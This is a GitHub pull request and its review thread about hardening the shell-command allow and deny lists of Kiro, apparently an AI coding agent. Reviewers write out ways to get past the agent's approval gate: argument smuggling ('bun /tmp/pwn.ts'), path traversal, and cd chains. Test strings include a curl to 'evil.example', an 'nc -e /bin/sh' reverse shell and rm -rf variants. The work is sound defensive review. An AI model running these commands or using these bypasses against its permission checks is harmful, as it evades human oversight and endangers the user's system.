fix(kiro): harden the execute_bash permission lists (2.5.17) - #667
Conversation
leandrodamascena
left a comment
There was a problem hiding this comment.
I found two security/compatibility blockers and one test-coverage issue during the review.
1. High: Commands can escape the project boundary
Affected patterns: harness/kiro/agents/aidlc.json:24-25
These patterns are replicated across all Kiro and Kiro IDE personas.
The absolute-path expression includes spaces, so this command matches:
bun /tmp/pwn.ts /safe/project/.kiro/tools/aidlc-version.tsBun executes /tmp/pwn.ts; the trusted .kiro/tools path is only a later argument.
Under the segmented-command behavior modeled by this PR, the unrestricted cd fallback also permits:
cd /tmp/attacker && bun .kiro/tools/pwn.tsBoth segments match allowed patterns, allowing a script outside the project to run without approval.
Please remove these fallbacks or bind them to the actual project root. Both commands should be added to MUST_GATE.
2. High: The behavioral test models only one Kiro release
Affected code: tests/unit/t252-kiro-allowlist-semantics.test.ts:99-170
The test implements custom command segmentation but omits Kiro’s current dangerous-token validation. Current upstream rejects tokens such as $ and && before evaluating allowedCommands.
Therefore, the current matcher gates these commands:
bun $KIRO_PROJECT_DIR/.kiro/tools/aidlc-orchestrate.ts next
cd /project && bun .kiro/tools/aidlc-orchestrate.ts nextThe test includes both in MUST_ALLOW.
The PR validates Kiro 2.12.1, while the project documents support for Kiro >=2.6. The locally installed version is 2.15.1, and the public matcher implementation disagrees with the test.
Please implement or version a matcher faithful to supported Kiro releases, or avoid command forms whose behavior differs between releases.
3. Medium: Tests do not distinguish Ask from Deny
Affected code: tests/unit/t252-kiro-allowlist-semantics.test.ts:137-153
The evaluator collapses both outcomes into:
type Verdict = "allow" | "gated";These commands miss the new deny expressions:
rm -r -f /tmp/target
/bin/rm -rf /tmp/target
git -C . push origin mainThey produce Ask, not Deny, meaning an interactive user can still approve them. The current tests pass because both outcomes become "gated".
Please model allow | ask | deny separately and verify that destructive variants are denied.
4. Low: User documentation is contradictory
docs/guide/harnesses/kiro-cli.md:86-92 says --no-interactive refuses commands requiring approval.
harness/kiro/onboarding.fills.ts:18 says those commands are automatically approved.
The generated onboarding should be updated to match the guide.
Validation
t252: 10 tests pass, but do not cover these counterexamples.t68: 7 tests pass.bun scripts/package.ts --check: passes.- Targeted regex probes reproduce both project-boundary bypasses.
- PR CI is green but does not cover these cases.
Recommendation: Request changes before merge.
|
Reviewed against the shipped configs on the PR head ( The core of this PR is right and well-evidenced. I independently reproduced every one of the six framework forms running unprompted, the traversal fix, and segment-wise chain evaluation. All 30 shipped configs really do carry byte-identical allow and deny lists (verified by Two findings are security-relevant and I think block merge. The rest are smaller. P1 - the absolute-path pattern is arbitrary code execution, not a path relaxationThe reviewer note frames pattern #3 as "any No prompt. Worth noting the hardening did work as designed here - the filename class stopped the direct traversal. This is specifically the third pattern's directory class Since the P1 -
|
| pattern | rustRejects() |
Rust actually |
|---|---|---|
a{2} |
rejects | compiles |
a{2,} |
rejects | compiles |
a{2,4} |
rejects | compiles |
x}y |
rejects | compiles |
a{,3} |
rejects | rejects (correct) |
\${?KIRO_PROJECT_DIR}? |
rejects | rejects (correct) |
Two bugs: the { branch checks /^\{\d+(,\d*)?\}/ against rest but then falls through to the } branch in the same iteration without skipping past the repetition, so every valid {n} trips the } check at t252-kiro-allowlist-semantics.test.ts:83; and that } branch treats any unescaped } as invalid, which Rust permits as a literal. The "no inert entries" test passes only because no current pattern uses bounded repetition. The first author to write [A-Za-z0-9]{1,64} gets a spurious failure telling them their valid pattern is inert. Either skip i past a matched repetition and drop the bare-} rule, or gate on the narrow real case ({ not followed by a decimal bound).
P2 - the segments() model is more permissive than the binary (newline chains)
Rust's negated classes match newlines (confirmed: rg -U -e 'cd [^;&|<>$()]+'spans a\n), and segments()only splits on;, |, &&`. So the model blesses newline-separated chains:
allow | "cd /tmp\nrm -rf /home/u/work"
allow | "cd /tmp\ncurl -s https://evil.example"
allow | "cd /tmp\nnc -e /bin/sh 10.0.0.1 4444"
Good news, and I want to be clear about it: live 2.12.1 gates all of these, so this is not a live bypass today. It is a fidelity gap in the test's matcher, which is exactly the failure mode this test exists to prevent - the model is more permissive than the binary, so it would certify a genuinely unsafe list as safe. Note the rm -rf case is caught by the deny list but the curl/nc ones are not; nothing else would stop them. Either exclude newline from the cd class ([^;&|<>$()\n]+) or split on newline in segments()`, ideally both.
The same divergence shows up in the argument tail, separately from the separator logic. The quote-aware claim itself checks out: bun .kiro/tools/aidlc-version.ts --text "a; b && c" runs unprompted, as the PR says. But live 2.12.1 gates these, while the PR's model says allow:
bun .kiro/tools/aidlc-version.ts > /tmp/kprobe/out.txt -> gated live, model says allow
bun .kiro/tools/aidlc-version.ts --stamp $(date -u +%s) -> gated live, model says allow
Both are benign commands, so this is not a missed exploit - it means the binary applies some metacharacter check on the tail that the model does not, and the model errs permissive in both places. Encoding that check would make the test a tighter guard; at minimum the header comment should stop claiming the model matches live behaviour on the tail.
P3 - version slot 2.5.16 is uncontested, but 2.5.12 traffic is heavy
2.5.16 is currently free (highest claimed among the open PRs I checked is 2.5.15 on #617). No action needed now, just be ready to re-bump per the conflict-trap rule if #617 lands first.
P3 - // covers: file:settings.json is inherited but inaccurate
t252 reads dist/<h>/.kiro/agents/*.json, not settings.json. It matches t148's existing tag so it is defensible as convention, and gen-coverage-registry.ts has no unit id for Kiro agent configs, so there may be no better id available. Flagging only so the coverage registry does not drift further from what the test actually exercises.
P3 - the new deny pattern blocks a command the framework itself suggests
core/tools/aidlc-utility.ts:1979 emits a doctor fix hint: Inspect and remove via 'aidlc-worktree discard --slug <slug>' or 'rm -rf .aidlc/worktrees/bolt-<slug>'. Under rm -rf .* that second form is now hard-denied in interactive sessions, and the deny list beats any allow. The hint offers the aidlc-worktree discard alternative first, so this is cosmetic rather than a broken flow - but an operator who follows the literal suggestion hits a refusal with no explanation. Worth a follow-up on the hint's wording rather than weakening the deny pattern.
Verification I ran
- Live
kiro-cli 2.12.1, isolated probe agent carrying the PR's exact shipped lists, with positive controls (date -u, plainbun .kiro/tools/<t>.ts) confirming the probe allows what it should before trusting any refusal. - All six MUST_ALLOW forms reproduced unprompted: bare,
run, quoted,$KIRO_PROJECT_DIR, absolute,cd &&,date -u. - Rust parity via ripgrep 14.1.0 for brace handling and newline-in-negated-class.
- 30/30 config uniformity via
jqover the PR head.
One thing I could not verify: the Kiro IDE gate is macOS-only and skipped here, so the IDE-side KIRO_PROJECT_DIR fix is confirmed only by the corrected regex compiling under Rust, not by a live IDE run. Your PR body already flags this.
Round 2: both P1s fixed and independently re-verifiedRe-reviewed at P1 (arbitrary code execution) - closedAllow pattern #3 is gone; the shipped allowlist is now two entries (project-relative Previously that printed P1 (docs recommending a flag that voids the deny list) - closed
The new deny patterns are stronger than what I proposedAll 12
Four things fixed on top1. Version slot (correcting my own round 1). I said 2.5.16 was uncontested. It is not: #616 claims it with an identical 2. The test's permission model refused chains the binary actually runs. Live 2.12.1 runs a chain whose every segment is allowlisted: And because the refusal was unconditional, six
Verified the guard actually bites by mutation: re-adding the removed absolute-path pattern to a dist config turns t252 red on the smuggling case. 3. 4. Rationale wording. The comment, doc note, and CHANGELOG said absolute paths stay gated because a regex "cannot prove those forms still target this project across supported Kiro releases". The real reason is that a pattern checks a path's shape, not its trustworthiness: a grant for any VerificationRemoving three allow patterns invalidated the original body's "zero permission denials" evidence, since that was measured against the wider list. Re-ran the live Kiro slices:
Every red reproduced on pristine
Still open, none blocking: minor deny gaps ( |
leandrodamascena
left a comment
There was a problem hiding this comment.
The previous allowlist blocker has been addressed. Absolute paths, KIRO_PROJECT_DIR, and cd chains are no longer preapproved, and the new behavioral coverage verifies the trusted-path argument-smuggling case.
I reviewed head d64093cb. CI is green, bun run check passes, package parity is clean, and the focused allowlist tests pass.
The broad date arguments, multiline command handling, and stale PR description are worthwhile follow-ups, but they are not regressions or merge blockers.
Approved.
Kiro wraps every `toolsSettings.execute_bash` pattern as `\A<pat>\z` (upstream
crates/chat-cli/src/cli/chat/tools/execute/mod.rs:130), so matching is
full-string, not prefix. The shipped patterns were written as if they were
prefixes, which made them simultaneously too narrow and, in one place, too
broad. Verified live against kiro-cli 2.12.1.
Too narrow (each of these needed an interactive approval, and a session with no
approver -- `--no-interactive`, or an ACP client that ignores
`session/request_permission` -- refuses them outright and stalls the workflow):
- `bun run .kiro/tools/<tool>.ts`
- `bun ".kiro/tools/<tool>.ts"` (quoted path)
- `bun /abs/path/to/project/.kiro/tools/<tool>.ts`
- `cd <dir> && bun .kiro/tools/<tool>.ts`, the form a conductor reaches for
when the session cwd is not the project root
- a bare `date -u`, which the stage prose instructs but `date -u .*` could
never match
Too broad: `bun \.kiro/tools/.*` let the trailing wildcard swallow path
traversal. `bun .kiro/tools/../../outside-tool.ts` executed unprompted, i.e.
any file on the machine was reachable through the pre-approved prefix.
Approved script paths are now a single filename (`[A-Za-z0-9._-]+\.ts`, no
slash in the class), so `../` cannot appear. `.kiro/tools/` is flat in every
dist tree, so no real tool call is lost.
Also fixed:
- The Kiro IDE conductor's `KIRO_PROJECT_DIR` pattern had unescaped braces
(`\${?...}?`), an invalid regex that upstream silently drops via
`.filter(Result::is_ok)`. It was inert: that command form was never
actually pre-approved. Braces are now escaped.
- The 14 delegated personas carried a narrower list than the conductor (no
KIRO_PROJECT_DIR, absolute-path, or cd forms) and could be refused
mid-stage. They now share the conductor's shell surface on both harnesses.
- `deniedCommands` was anchored too, so `rm -rf /.*` missed `rm -rf ~/x`,
`rm -rf *`, and `rm -fr <path>`, and `git push .*` missed a bare
`git push`. Broadened to catch all of them.
Allowing a bare `cd <path>` is safe because 2.12.1 evaluates each `&&`/`;`/`|`
segment separately: `cd /tmp && curl example.com` is still refused on the curl
segment (live-verified, as is `cd /tmp && rm -f ...`).
t252 asserts this behaviourally -- it re-implements Kiro's matcher and runs
real command strings through it, rather than pinning literal regex text, since
a literal-text assertion cannot distinguish a working pattern from an inert
one (exactly how the IDE pattern above shipped dead). Its validity check
models the Rust regex crate's stricter brace handling, because JS RegExp
accepts `{?` as a literal and would call the broken pattern valid. t148 grows
a narrower guard against the traversal wildcard returning.
Follow-up to the allowlist review. Three things: Version slot: 2.5.16 was already claimed by #616 with an identical "## [2.5.16] - 2026-07-28" heading, so this re-bumps to 2.5.17 per the CHANGELOG conflict-trap rule (version file, README badge, heading). t252 permission model: evaluate() refused any command containing a separator or metacharacter before consulting the allowlist. That was wrong in both directions. Live kiro-cli 2.12.1 RUNS a chain whose every segment is allowlisted (`bun .kiro/tools/<t>.ts && date -u` executed unprompted), so the model reported "ask" for something the binary allows; and because the refusal was unconditional, six MUST_ASK entries passed without exercising a shipped pattern at all - they would stay green against an allowlist of `.*`, which is the failure mode this test exists to prevent. evaluate() now splits on `&&`/`;`/`|`/`&`/newline (quote-aware, and newline included because Rust's negated classes match it) and requires every segment to be allowed. Adds MUST_ALLOW_CHAINS for the live-verified all-segments-allowed case, newline and background-operator cases to MUST_ASK, and a meta-test asserting no MUST_ASK entry passes under a wide-open allowlist. Verified by mutation: re-adding the removed absolute-path pattern turns t252 red. TAIL_METACHARACTERS narrows to `$(`, backtick, `<`, `>` - the forms live 2.12.1 actually gates. A bare `$` is excluded because `bun $KIRO_PROJECT_DIR/.kiro/tools/<t>.ts` ran unprompted under a config that allowlisted it, so expansion alone does not gate. Rationale wording: the comment, doc note, and CHANGELOG said absolute paths stay gated because a regex "cannot prove those forms still target this project across supported Kiro releases". The real reason is that a pattern checks a path's shape, not its trustworthiness - a grant for any /.../.kiro/tools/*.ts also pre-approves a script planted in a world-writable directory, which is the verified finding. Also rewrites the stale 2.5.16 summary paragraph, which still described the superseded wider-allowlist approach.
f8e67de to
9e704b3
Compare
Problem
Kiro wraps every
toolsSettings.execute_bashpattern as\A<pat>\z(upstreamcrates/chat-cli/src/cli/chat/tools/execute/mod.rs:130), so matching is full-string, not prefix. The shipped patterns were written as if they were prefixes, which made them simultaneously too narrow and, in one place, too broad.This surfaced as a user-visible failure: a conductor in a nested project directory reported the shell command "still being denied despite your approval", because the form it reached for was not on the allowlist and the session had no approval channel.
1. Too narrow: framework-instructed commands were not pre-approved
Each of these needed an interactive approval. A session with no approver (
--no-interactive, or an ACP client that ignoressession/request_permission) refuses them outright withnon-interactive mode (no user to approve)and the workflow stalls:bun run .kiro/tools/<tool>.tsbun ".kiro/tools/<tool>.ts"bun /abs/path/to/project/.kiro/tools/<tool>.tscd <dir> && bun .kiro/tools/<tool>.tsdate -u(bare)date -u .*could never match it2. Too broad: a traversal bypass
bun \.kiro/tools/.*let the trailing wildcard swallow path traversal. Verified live:bun .kiro/tools/../../outside-tool.tsexecuted unprompted, so any file on the machine was reachable through the pre-approved prefix.3. An inert pattern on the Kiro IDE harness
The IDE conductor's
KIRO_PROJECT_DIRentry was spelled\${?KIRO_PROJECT_DIR}?(unescaped braces), an invalid regex that upstream silently discards via.filter(Result::is_ok). Proven inert with an isolated probe (control pattern matched; this command form was denied). That form was never actually pre-approved there.4. Personas narrower than the conductor
The 14 delegated personas carried only
bun \.kiro/tools/.*anddate -u .*, with noKIRO_PROJECT_DIR, absolute-path, orcdforms, so a delegated persona could be refused mid-stage.5.
deniedCommandsunder-matchedAlso full-string anchored, so
rm -rf /.*missedrm -rf ~/x,rm -rf *, andrm -fr <path>, andgit push .*missed a baregit push.Change
All five allow patterns and three deny patterns are now identical across the conductor and all 14 personas, on both
harness/kiro/andharness/kiro-ide/(30 authored configs + regenerated dist):The filename class
[A-Za-z0-9._-]+\.tscloses the traversal hole: no/in the class means../cannot appear..kiro/tools/is flat in every dist tree, so no real tool call is lost.Allowing a bare
cd <path>is safe because the installed 2.12.1 evaluates each&&/;/|segment separately. Live-verified:cd /tmp && curl example.comis still refused on the curl segment, as iscd /tmp && rm -f .... (Note this differs from the currently-published upstream source, which does not yet split that way; the behaviour was confirmed against the shipping binary.)Verification
Semantics were established from the upstream matcher source and then confirmed live against kiro-cli 2.12.1, including a fresh install of the hardened
dist/kiro/where all six framework forms run unprompted and the traversal escape,cd && curl,rm -rf, and baregit pushare all refused.tests/unit/t252-kiro-allowlist-semantics.test.ts(new) asserts this behaviourally: it re-implements Kiro's matcher and runs 12 must-allow and 12 must-gate command strings through all 30 configs. Pinning literal regex text would be worthless here: that is exactly how the inert IDE pattern above shipped dead. Two fidelity details matter:RegExpaccepts{?as a literal and would call the broken pattern valid.--text "a; b && c"runs fine.Confirmed the test fails on the pre-change configs (7 of 10 tests red, each naming a real defect) and passes after.
tests/smoke/t148grows a narrow guard so the traversal wildcard cannot silently return.Test results
bun run check(typecheck + biome) green;bun scripts/package.ts --checkreports no drift.Zero permission denials across all 11 Kiro e2e logs and all 7 ACP driver traces. If the hardened list were refusing something the framework needs, it would appear there as
rejected because it matches one or more rules on the denied list.Every red was reproduced on pristine
v2with a clean tree before being attributed upstream:t66,t89: fail identically on base (t89's error names theclaim-sourcessensor from 5cdcc63)t-acp-kiro-journey-workspace,t-acp-kiro-reviewer: fail on base with the samefs_readpath-validation signaturet-tui-kiro-bugfix-scope: failed once on an[Answer]: Avs[Answer]: Looks correctformat variance, reproduced on base, and passed in the full e2e runt72,t-journey-workspace: passed green alone; latency under parallel loadLive vars set:
AIDLC_KIRO_ACP_LIVE=1,AIDLC_TUI_LIVE=1,AIDLC_KIRO_TUI_LIVE=1,AIDLC_KIRO_IDE_LIVE=1. The IDE gate skipped on platform (macOS-only,skipReason()att-ide-kiro-checkpoint.serial.test.ts:113-115). The var was set deliberately so the skip could not be a silent unset-gate green. That one still needs verification on a Mac.Reviewer note
The third pattern accepts any
/.../.kiro/tools/*.tspath on the filesystem, not only this project's. It is what makes absolute-path invocations work; it can be dropped in favour of thecdpattern alone if a strictly project-relative sandbox is preferred.Docs
docs/guide/harnesses/kiro-cli.mdgains two operational notes (start the session from the project root; sessions with no approver stall rather than prompt, with the--trust-all-tools/ ACPsession/request_permissionremedies) and its permissions table row is corrected.